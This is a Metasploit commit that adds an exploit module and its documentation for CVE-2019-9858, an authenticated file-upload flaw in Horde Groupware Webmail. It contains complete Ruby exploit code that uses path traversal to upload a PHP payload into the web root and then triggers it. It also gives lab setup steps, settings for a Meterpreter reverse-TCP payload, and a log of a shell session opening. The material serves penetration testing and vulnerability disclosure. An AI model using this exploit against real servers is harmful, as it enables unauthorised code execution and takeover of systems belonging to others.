Land #11657, add Horde form file upload

master
Shelby Pace 2019-04-09 13:47:59 -05:00
commit 4d0a41ff1a
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
2 changed files with 254 additions and 0 deletions

View File

@ -0,0 +1,101 @@
Horde Groupware Webmail is a popular open-source groupware platform written in PHP. A vulnerability allows an authenticated, unprivileged user to create a malicious PHP file under the web root and gain arbitrary code execution on the server.
## Vulnerable Application
The Horde subcomponent Horde Form < 2.0.19 is affected. This module was specifically tested against Horde Groupware Webmail Edition 5.2.22 and 5.2.17 with Horde Form 2.0.18 installed with PEAR on Debian.
### Docker install on Ubuntu 18.04
Please folow these steps to setup a vulnerable version of Horde in Docker on a Ubuntu.
1. Set up a [Ubuntu](http://www.ubuntu.com/) 18.04 box.
2. Open a terminal, and enter: ```sudo apt-get install docker.io```. Make sure Docker is properly configured and your current user has permession to use it.
3. Enter: ```mkdir horde_form_file_upload``` to create a folder.
4. Enter: ```cd horde_form_file_upload``` to enter that folder.
5. Create a ```Dockerfile``` in it with the following content.
```
FROM debian
RUN apt-get update
RUN apt-get install --yes --no-install-recommends \
apache2 \
ca-certificates \
dovecot-imapd \
libapache2-mod-php \
mysql-server \
php-mysqli \
php-pear \
rsyslog
RUN pear upgrade PEAR
RUN pear channel-discover pear.horde.org
RUN pear install horde/horde_role
RUN rm -r /var/www/html/ && mkdir /var/www/html/
RUN echo /var/www/html/ | pear run-scripts horde/Horde_Role
RUN pear install -a -B horde/webmail-5.2.22
# Uninstall end reinstall the vulnerable version
RUN pear uninstall -n horde/Horde_Form
RUN pear install -a -B horde/Horde_Form-2.0.18
RUN sed -i "/'secure' => 'tls',/d" /var/www/html/imp/config/backends.php
RUN chown -R www-data:www-data /var/www/html/
RUN useradd -m -G mail user && echo 'user:user' | chpasswd
RUN echo 'disable_plaintext_auth = no' | tee /etc/dovecot/conf.d/99-auth.conf
ENTRYPOINT \
/etc/init.d/mysql start && \
echo 'CREATE DATABASE IF NOT EXISTS horde;' | mysql && \
echo 'CREATE USER IF NOT EXISTS horde;' | mysql && \
echo 'GRANT ALL ON horde.* TO horde IDENTIFIED BY "horde";' | mysql && \
{ echo mysqli; sleep 0.3; \
echo horde; sleep 0.3; \
echo horde; sleep 0.3; \
echo tcp; sleep 0.3; \
echo localhost; sleep 0.3; \
echo; sleep 0.3; \
echo horde; sleep 0.3; \
echo; sleep 0.3; \
echo false; sleep 0.3; \
echo; sleep 0.3; \
echo 1; sleep 0.3; } | webmail-install && \
dovecot && \
/etc/init.d/apache2 start && \
tail -F /var/log/apache2/access.log /var/log/syslog
```
6. Enter: ```docker build . -t horde-img``` to build the Docker image.
7. Enter: ```docker run -p8888:80 --name horde-inst horde-img``` to run the Docker instance with the name ```horde-inst```.
8. Get the Docker host ip for reverse connection. In Linux, enter: ```ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+'```.
## Verification Steps
After setting up Horde, you can use your exploit module:
1. Start msfconsole
2. Do: ```use exploit/multi/http/horde_form_file_upload```
3. Do: ```set RHOSTS 127.0.0.1```
4. Do: ```set RPORT 8888```
5. Do: ```set payload php/meterpreter/reverse_tcp```
6. Do: ```set LHOST [HOST IP]```
7. Do: ```set VHOST horde.lab```
8. Do: ```set USERNAME user ```
9. Do: ```set PASSWORD user```
10. Do: ```exploit```
11. And you should get a session
## Scenarios
### Horde Groupware Webmail Edition 5.2.22 with Horde Form 2.0.18 on a Debian stretch on Docker running on an Ubuntu 16.04
```
msf exploit(multi/http/horde_form_file_upload) > exploit
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Uploading payload to ../var/www/html/static/mxkyfrlztogn.php
[*] Sending stage (38247 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:47720) at 2019-03-29 15:27:53 +0000
meterpreter >
```

View File

@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'Horde Form File Upload Vulnerability',
'Description' => %q{
Horde Groupware Webmail contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. The exploitation requires the Turba
subcomponent to be installed.
This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ratiosec',
],
'References' =>
[
['CVE', '2019-9858'],
['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'],
],
'DisclosureDate' => 'Mar 24 2019',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', { }],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])
# Appears to be '/usr/share/horde/' if installed with apt
])
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def webroot
datastore['WEB_ROOT']
end
def horde_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'login.php')
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
vprint_status("Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'horde_user' => user,
'horde_pass' => pass,
'login_post' => '1'
}
)
return res.get_cookies if res && res.code == 302
[]
end
def get_tokens(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'cookie' => cookie
)
if res && res.code == 200
source_tokens = res.body.scan(/turba\/add\.php\?source=(.+)"/).flatten
unless source_tokens.empty?
form_tokens = res.body.scan(/name="turba_form_addcontact_formToken" value="(.+)"/).flatten
return source_tokens[0], form_tokens[0], res.get_cookies
end
end
nil
end
def exploit
vprint_status("Authenticating using #{username}:#{password}")
cookie = horde_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?
vprint_good("Authenticated to Horde.")
tokens = get_tokens(cookie)
fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
source_token, form_token, secret_cookie = tokens
vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
payload_name = Rex::Text.rand_text_alpha_lower(10..12)
payload_path = File.join(webroot, "static", "#{payload_name}.php")
payload_path_traversal = File.join("..", payload_path)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
data.add_part(source_token, nil, nil, 'form-data; name="source"')
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
post_data = data.to_s
print_status("Uploading payload to #{payload_path_traversal}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie + ' ' + secret_cookie
)
fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
vprint_status("Executing the payload at #{payload_url}.")
res = send_request_cgi(
'uri' => payload_url,
'method' => 'GET',
)
register_files_for_cleanup(payload_path)
end
end